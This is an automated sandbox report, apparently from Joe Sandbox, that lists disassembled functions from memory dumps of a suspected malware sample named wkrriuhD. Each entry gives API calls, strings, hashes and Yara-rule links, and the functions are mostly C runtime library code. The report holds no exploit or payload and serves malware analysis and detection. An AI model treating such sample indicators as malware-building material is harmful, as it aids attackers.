String ID: XX.CPP$XX.CPP$XX.CPP$XX.CPP$XX.CPP$dtrCount <= vdtCount$etdCount <= elemCount || elemCount == 0$varType->tpArr.tpaElemType->tpClass.tpcFlags & CF_HAS_DTOR$varType->tpMask & TM_IS_ARRAY$vdtCount
API String ID: 0-399877090
Opcode ID: fe4e1fff7598651d3aff739946f9fed268690cd354c9be1bb4bbca50bd1de878
Instruction ID: 88776ef7a22d3ae589bf471a2eb8d12af5e4a32f205574c383fb24602ad5b1ef
Opcode Fuzzy Hash: fe4e1fff7598651d3aff739946f9fed268690cd354c9be1bb4bbca50bd1de878
Instruction Fuzzy Hash: 52313532A00308ABEF00DF55CC8AF9E7B74AF54714F14457BFD043A2C2D3B9AA608699

Uniqueness

Uniqueness Score: -1.00%

Function 005CB8BE Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 284COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 005CBA4B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005CBA67
__allrem.LIBCMT ref: 005CBA7E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005CBA9C
__allrem.LIBCMT ref: 005CBAB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005CBAD1

Strings

"+Y, xrefs: 005CBB59, 005CB8C0

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID: "+Y
API String ID: 1992179935-2689556389
Opcode ID: 372230fba1730b24943150f2d9223dcab7b4bce73996abcbaedb59f98a560456
Instruction ID: 0a0f7aa9fb5d4dec07a4055d33c61d7b494f65cbfcbcf32f0bf62866a2a3ffcb
Opcode Fuzzy Hash: 372230fba1730b24943150f2d9223dcab7b4bce73996abcbaedb59f98a560456
Instruction Fuzzy Hash: 6181F572A007069FF7249EADDC87F6A7BA8BF80720F24462EF591D6681EB70DD008751

Uniqueness

Uniqueness Score: -1.00%

Function 005D5F5B Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005D8FF7: _free.LIBCMT ref: 005D902E
Part of subcall function 005D8FF7: _abort.LIBCMT ref: 005D9075

_memcmp.LIBVCRUNTIME ref: 005D6205
_free.LIBCMT ref: 005D6276
_free.LIBCMT ref: 005D628F
_free.LIBCMT ref: 005D62C1
_free.LIBCMT ref: 005D62CA
_free.LIBCMT ref: 005D62D6

Strings

C, xrefs: 005D60C3

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$_abort_memcmp
String ID: C
API String ID: 137591632-1037565863
Opcode ID: 0768c3d9e3dd940518f99a63cbcd3aeb961d046fc1a72f364ae26972a0ea9dca
Instruction ID: 9b63afcefe52b7c6e09b9388c9fccae217bf7b90bead462e0a215c855eca1371
Opcode Fuzzy Hash: 0768c3d9e3dd940518f99a63cbcd3aeb961d046fc1a72f364ae26972a0ea9dca
Instruction Fuzzy Hash: EDB11775A0161ADBDB34DF18C888AADBBB4FF58304F1045ABE949A7351E731AE91CF40

Uniqueness

Uniqueness Score: -1.00%

Function 12375179 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 12378215: GetLastError.KERNEL32(00000020,?,1236A7F5,?,?,?,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B), ref: 12378219
Part of subcall function 12378215: _free.LIBCMT ref: 1237824C
Part of subcall function 12378215: SetLastError.KERNEL32(00000000,1236F9A8,?,?,00000020,00000000,?,?,?,1235DD01,0000003B,?,00000041,00000000,00000000), ref: 1237828D
Part of subcall function 12378215: _abort.LIBCMT ref: 12378293

_memcmp.LIBVCRUNTIME ref: 12375423
_free.LIBCMT ref: 12375494
_free.LIBCMT ref: 123754AD
_free.LIBCMT ref: 123754DF
_free.LIBCMT ref: 123754E8
_free.LIBCMT ref: 123754F4

Strings

C, xrefs: 123752E1

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast$_abort_memcmp
String ID: C
API String ID: 1679612858-1037565863
Opcode ID: b8d4cb05f274ddc4f0e0af1d66be1e6ec7ecb9a625997558cd0ce1604b71a21a
Instruction ID: f2eb1e9af7e1d8446882ba466fed14e285c4bbcf9845f830196d32b3076bf74f
Opcode Fuzzy Hash: b8d4cb05f274ddc4f0e0af1d66be1e6ec7ecb9a625997558cd0ce1604b71a21a
Instruction Fuzzy Hash: ECB12B76A0125A9FDB68CF18D884B9DB7B4FB48315F5046AAD849A7390D734AE90CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0059DBDB Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0059DBE9
_wcslen.LIBCMT ref: 0059DCC8
_wcslen.LIBCMT ref: 0059DDA8

Strings

hdF, xrefs: 0059DE17
8+G, xrefs: 0059DD60
6, xrefs: 0059DCBC
8+G, xrefs: 0059DC73

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _wcslen
String ID: 6$8+G$8+G$hdF
API String ID: 176396367-3129652869
Opcode ID: 1a9c3962d4051c0992c0d3c4f02e65f90ab46b8a23f48d03cfd53388f795b238
Instruction ID: b71f7663356fb884b06fe0b566758d46698ad801881381fa1b07abe6dae33a95
Opcode Fuzzy Hash: 1a9c3962d4051c0992c0d3c4f02e65f90ab46b8a23f48d03cfd53388f795b238
Instruction Fuzzy Hash: B151D3602583027BDF18BB749C5AA7F7F5DBFC5740F50482DF50A8A2D3DE589C05826A

Uniqueness

Uniqueness Score: -1.00%

Function 005CB61C Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

__dosmaperr.LIBCMT ref: 005CB688
__dosmaperr.LIBCMT ref: 005CB6C5
__dosmaperr.LIBCMT ref: 005CB719
_free.LIBCMT ref: 005CB725
_free.LIBCMT ref: 005CB72C

Strings

7+Y, xrefs: 005CB629, 005CB739
7+Y, xrefs: 005CB6DF

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: __dosmaperr$_free
String ID: 7+Y$7+Y
API String ID: 242264518-3262366632
Opcode ID: 349d6e8f71b3306115ff94c1c71847e27514464045ba0744507fb65a98dea562
Instruction ID: 89d7eb6f882288c412db53f1662fae1904c61ba094d83b562a7855655f9e5cb3
Opcode Fuzzy Hash: 349d6e8f71b3306115ff94c1c71847e27514464045ba0744507fb65a98dea562
Instruction Fuzzy Hash: 3931527140420AFFAF119FE4DC4AEAE3F68FF84365F14055AB91056261DB31CD50DB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040276A Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

@__lockDebuggerData$qv.WKRRIUHD ref: 004027A1
@__unlockDebuggerData$qv.WKRRIUHD ref: 0040283A

Strings

!"what?", xrefs: 004028AC
(dtorMask & 0x0080) == 0, xrefs: 00402851
XX.CPP, xrefs: 004028A7
XX.CPP, xrefs: 0040284C
what?, xrefs: 00402899

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: Data$qvDebugger$@__lock@__unlock
String ID: !"what?"$(dtorMask & 0x0080) == 0$XX.CPP$XX.CPP$what?
API String ID: 2914929783-621719939
Opcode ID: 865139f3765ff48def8f5fd269b067827c3e68def8ea50f292f22f230bfb78c8
Instruction ID: b45044af56e270cf8ed87f5c96a059d71ef36e35bb8c0356fb506efd44f4e8ed
Opcode Fuzzy Hash: 865139f3765ff48def8f5fd269b067827c3e68def8ea50f292f22f230bfb78c8
Instruction Fuzzy Hash: E8311535604244DBD714AF56D94EBAA3B64AF00308F14827BF9493B6E2C7B9CC81DA99

Uniqueness

Uniqueness Score: -1.00%

Function 12379190 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 12379212
_free.LIBCMT ref: 12379236
_free.LIBCMT ref: 123793BD
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,1238F234), ref: 123793CF
WideCharToMultiByte.KERNEL32(00000000,00000000,123A2764,000000FF,00000000,0000003F,00000000,?,?), ref: 12379447
WideCharToMultiByte.KERNEL32(00000000,00000000,123A27B8,000000FF,?,0000003F,00000000,?), ref: 12379474
_free.LIBCMT ref: 12379589

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 083b418cd4743830c217f3d355f17bd0aa5c550aaff6d0b899a68e11bd5262d6
Instruction ID: 238b0b7ee6e5c4326821c3ff76192a4f101714f550fa458f5dafe42b2c6b7a46
Opcode Fuzzy Hash: 083b418cd4743830c217f3d355f17bd0aa5c550aaff6d0b899a68e11bd5262d6
Instruction Fuzzy Hash: 93C10577A00259AFDF10DF788884BEABBBDEF45310F1447AAD894D7281E7399A01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 005E1807 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005E1876
_free.LIBCMT ref: 005E1884
_free.LIBCMT ref: 005E19B2
_free.LIBCMT ref: 005E19BD

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 3d3472b72281963140e8887de038e5b99b85b4a8b881428f5fb0b5852324da1c
Instruction ID: db65b09532d72b336b0967c496e0075548ddd3567a16148ad91bafc8c5a64272
Opcode Fuzzy Hash: 3d3472b72281963140e8887de038e5b99b85b4a8b881428f5fb0b5852324da1c
Instruction Fuzzy Hash: CB61C371904645AFDB24CF6AC845BAEBFF4FF48720F14416AE988EB352E7309E418B54

Uniqueness

Uniqueness Score: -1.00%

Function 14649492 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,14649C07,?,00000000,?,00000000,00000000), ref: 146494D4
__fassign.LIBCMT ref: 1464954F
__fassign.LIBCMT ref: 1464956A
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 14649590
WriteFile.KERNEL32(?,?,00000000,14649C07,00000000,?,?,?,?,?,?,?,?,?,14649C07,?), ref: 146495AF
WriteFile.KERNEL32(?,?,00000001,14649C07,00000000,?,?,?,?,?,?,?,?,?,14649C07,?), ref: 146495E8

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 9849fb73de1cadd40aa81494c75e309f9a88147f81f17ca1a4a8badde56ce1d9
Instruction ID: ce2776d6348a44cfb328e69a18ce76dfc42dd341fe8c0a896d30eceb7567e073
Opcode Fuzzy Hash: 9849fb73de1cadd40aa81494c75e309f9a88147f81f17ca1a4a8badde56ce1d9
Instruction Fuzzy Hash: 8851B371E40249AFDF10CFB4D895ADEBBF8EF19304F28451AE955E7281D730A945CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1237B3BC Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,1237BB31,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 1237B3FE
__fassign.LIBCMT ref: 1237B479
__fassign.LIBCMT ref: 1237B494
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 1237B4BA
WriteFile.KERNEL32(?,FF8BC35D,00000000,1237BB31,00000000,?,?,?,?,?,?,?,?,?,1237BB31,?), ref: 1237B4D9
WriteFile.KERNEL32(?,?,00000001,1237BB31,00000000,?,?,?,?,?,?,?,?,?,1237BB31,?), ref: 1237B512

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: d283178fc17509835c7ae89a448a37a9d1ab711499eeba4d03d73c5f757fd427
Instruction ID: 515c6bc304ef72fd92038a15449ffe5571ac1390bc6ca21118a10153e7616619
Opcode Fuzzy Hash: d283178fc17509835c7ae89a448a37a9d1ab711499eeba4d03d73c5f757fd427
Instruction Fuzzy Hash: 4C51B8B1E002499FDF14CFA8C885AEEBBF9EF49310F14456AEA55E7281E7349941CB60

Uniqueness

Uniqueness Score: -1.00%

Function 14643370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 1464339B
___except_validate_context_record.LIBVCRUNTIME ref: 146433A3
_ValidateLocalCookies.LIBCMT ref: 14643431
__IsNonwritableInCurrentImage.LIBCMT ref: 1464345C
_ValidateLocalCookies.LIBCMT ref: 146434B1

Strings

csm, xrefs: 14643446

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: edda5af013552127bde66a48f929a3902236393e46c495d0afb9ef7fc684b5fc
Instruction ID: 4ef30b5a0da812f516a0605fa02d3ea01893116a152342b2032d3864f692c1b1
Opcode Fuzzy Hash: edda5af013552127bde66a48f929a3902236393e46c495d0afb9ef7fc684b5fc
Instruction Fuzzy Hash: 3041E938F003489BDF01CFA8C884ADEBBB5AF5532CF288155D915AB391D731EA91CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0040A78C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000050,Semaphore error ,?), ref: 0040A7B5
GetStdHandle.KERNEL32(000000F4,Semaphore error ,?), ref: 0040A800
WriteFile.KERNEL32(00000000,0040FA90,00000002,?,00000000,000000F4,Semaphore error ,?), ref: 0040A815
WriteFile.KERNEL32(00000000,?,00000000,?,00000000,00000000,0040FA90,00000002,?,00000000,000000F4,Semaphore error ,?), ref: 0040A82A
WriteFile.KERNEL32(00000000,0040FA93,00000002,?,00000000,00000000,?,00000000,?,00000000,00000000,0040FA90,00000002,?,00000000,000000F4), ref: 0040A83D

Strings

Semaphore error , xrefs: 0040A79A

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: File$Write$HandleModuleName
String ID: Semaphore error
API String ID: 299019120-2356287382
Opcode ID: 8b4ebf8a01121c22523c02ab895f82b6948ef1d9d7e44797e701a40e8bc1afb1
Instruction ID: dacfb2d6354fe0840da98f0422ce138300a64ded8d62c48eabc067c910f233f1
Opcode Fuzzy Hash: 8b4ebf8a01121c22523c02ab895f82b6948ef1d9d7e44797e701a40e8bc1afb1
Instruction Fuzzy Hash: BB21C872640305B9E720E2B28C46FAB322C9B05714F108537B605B61C2E6BC9E158ABF

Uniqueness

Uniqueness Score: -1.00%

Function 1464925D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 14649221: _free.LIBCMT ref: 1464924A

_free.LIBCMT ref: 146492AB

Part of subcall function 1464571E: HeapFree.KERNEL32(00000000,00000000,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?), ref: 14645734
Part of subcall function 1464571E: GetLastError.KERNEL32(?,?,1464924F,?,00000000,?,00000000,?,14649276,?,00000007,?,?,14647E5A,?,?), ref: 14645746

_free.LIBCMT ref: 146492B6
_free.LIBCMT ref: 146492C1
_free.LIBCMT ref: 14649315
_free.LIBCMT ref: 14649320
_free.LIBCMT ref: 1464932B
_free.LIBCMT ref: 14649336

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
Instruction ID: 3c00c33bb0dc4e5a5f6fb5b52c13a2e331de93c76ffe5c20aaf44fee7fc2651e
Opcode Fuzzy Hash: 1a15e4038a9c55df62fbd1c49a93c652c8e4a7ee207dd1f8de08331087c78b01
Instruction Fuzzy Hash: 1611B1355A2B08FAEF22ABF0CC45FCB7B9D9F10308F580834A69976952DA34B4084749

Uniqueness

Uniqueness Score: -1.00%

Function 005A1F45 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005A1F52
int.LIBCPMT ref: 005A1F65

Part of subcall function 0059EEA3: std::_Lockit::_Lockit.LIBCPMT ref: 0059EEB4
Part of subcall function 0059EEA3: std::_Lockit::~_Lockit.LIBCPMT ref: 0059EECE

std::_Facet_Register.LIBCPMT ref: 005A1FA5
std::_Lockit::~_Lockit.LIBCPMT ref: 005A1FAE
__CxxThrowException@8.LIBVCRUNTIME ref: 005A1FCC

Strings

(mG, xrefs: 005A1F5D

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
String ID: (mG
API String ID: 2536120697-4059303827
Opcode ID: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
Instruction ID: 403d47d9a2563ac1bc90502e311840504f77752c65a8443ae9db383ef40bcad6
Opcode Fuzzy Hash: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
Instruction Fuzzy Hash: 4D110632A00519AFCB10EBA8E90A9DDBF78FF81720F10456AF804A7291DB319E41CBD4

Uniqueness

Uniqueness Score: -1.00%

Function 1236A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,1236A351,123692BE), ref: 1236A368
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 1236A376
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 1236A38F
SetLastError.KERNEL32(00000000,?,1236A351,123692BE), ref: 1236A3E1

Memory Dump Source

Source File: 00000018.00000002.3664441036.0000000012330000.00000040.00001000.00020000.00000000.sdmp, Offset: 12330000, based on PE: true

Associated: 00000018.00000002.3664441036.00000000123A4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3664441036.00000000123A8000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_12330000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: da43f334add93bd16fed927777e93a555aaa764f404b655859ac46518176ef7c
Instruction ID: b40f45bb21ebdcc7a77afe13af1a69e645184d7645e0843e0d70937dbe4869a5
Opcode Fuzzy Hash: da43f334add93bd16fed927777e93a555aaa764f404b655859ac46518176ef7c
Instruction Fuzzy Hash: 9E0147BB24C3669EE35616FA6CC57BB364CEB467F5330033AE01CD40D8EF919A069240

Uniqueness

Uniqueness Score: -1.00%

Function 005E179E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 005E17B6
_free.LIBCMT ref: 005E17C8
_free.LIBCMT ref: 005E17DA
_free.LIBCMT ref: 005E17EC
_free.LIBCMT ref: 005E17FE

Strings

{-Y, xrefs: 005E17A0

Memory Dump Source

Source File: 00000018.00000002.3646905411.0000000000590000.00000040.00000400.00020000.00000000.sdmp, Offset: 00590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_590000_wkrriuhD.jbxd

Yara matches

Similarity

API ID: _free
String ID: {-Y
API String ID: 269201875-2507730204
Opcode ID: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
Instruction ID: 83a5ec52acd167b3042d6edbe61e0f325a98b96e5bbea94743780baf4128faac
Opcode Fuzzy Hash: 3215379f381551316c6ac489d477ac1f9e59373460363398d28d4bb450e902e5
Instruction Fuzzy Hash: C8F04F3250864467C634EB6DF8C6D1A7BD9FA48B607A8881AF148DB711DB30FD80C65C

Uniqueness

Uniqueness Score: -1.00%

Function 0040A950 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0040A95C
GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 0040A969
GetVersionExA.KERNEL32 ref: 0040A98E

Strings

Borland32, xrefs: 0040A96E
GetProcAddress, xrefs: 0040A963
kernel32.dll, xrefs: 0040A957

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID: Borland32$GetProcAddress$kernel32.dll
API String ID: 3310240892-88975745
Opcode ID: 71768c722f78eb4a901d9742671c74955e51422b3e1bdaee8fac7f9ce878333a
Instruction ID: 97e9abc9fd215974bacc07cebeb4f04fad71689b84616a9e44a7f54312f028c9
Opcode Fuzzy Hash: 71768c722f78eb4a901d9742671c74955e51422b3e1bdaee8fac7f9ce878333a
Instruction Fuzzy Hash: 66F090F130930987E3109B208D06B663644E300304F25493F68A9B66D2DFBC80E9AB5F

Uniqueness

Uniqueness Score: -1.00%

Function 0040419B Relevance: 10.1, Strings: 8, Instructions: 73COMMON

Download Yara Rule

Strings

XXTYPE.CPP, xrefs: 00404222
tp2->tpName, xrefs: 0040424B
tp2, xrefs: 004041D0
XXTYPE.CPP, xrefs: 00404246
XXTYPE.CPP, xrefs: 004041B0
tp1, xrefs: 004041B5
XXTYPE.CPP, xrefs: 004041CB
tp1->tpName, xrefs: 00404227

Memory Dump Source

Source File: 00000018.00000002.3644066664.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.3643966660.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644145580.000000000040D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000018.00000002.3644413969.0000000000416000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_400000_wkrriuhD.jbxd

Similarity

API ID:
String ID: XXTYPE.CPP$XXTYPE.CPP$XXTYPE.CPP$XXTYPE.CPP$tp1$tp1->tpName$tp2$tp2->tpName
API String ID: 0-2803269351
Opcode ID: 283ac59ee2ffe6cf53dfa6a0385c90501cca73d622cd6219affc2671511527d7
Instruction ID: 26f1763e8cf9c968968e8af5b86e6365d3689f23285e0e0a8c5b68ab61dc0408
Opcode Fuzzy Hash: 283ac59ee2ffe6cf53dfa6a0385c90501cca73d622cd6219affc2671511527d7
Instruction Fuzzy Hash: C0113AA174431091C7206A528C8AB7677518FF0B94F18487BFF953A7C1E3BD98E1826E

Uniqueness

Uniqueness Score: -1.00%

Function 14648821 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,14646FFD,00000000,?,?,?,14648A72,?,?,00000100), ref: 1464887B
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,14648A72,?,?,00000100,5EFC4D8B,?,?), ref: 14648901
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 146489FB
__freea.LIBCMT ref: 14648A08

Part of subcall function 146456D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 14645702

__freea.LIBCMT ref: 14648A11
__freea.LIBCMT ref: 14648A36

Memory Dump Source

Source File: 00000018.00000002.3665605507.0000000014641000.00000040.00001000.00020000.00000000.sdmp, Offset: 14640000, based on PE: true

Associated: 00000018.00000002.3665584194.0000000014640000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000018.00000002.3665605507.0000000014656000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_14640000_wkrriuhD.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: fb324a4db6aea97efbbc325535a3808cce5d86083b521b7bb6f91921f8553f04
Instruction ID: 4ee68b61a809eafe9c7cd38e8e251d9e08fee8f561604e21eae1bb28a231a8cd
Opcode Fuzzy Hash: fb324a4db6aea97efbbc325535a3808cce5d86083b521b7bb6f91921f8553f04
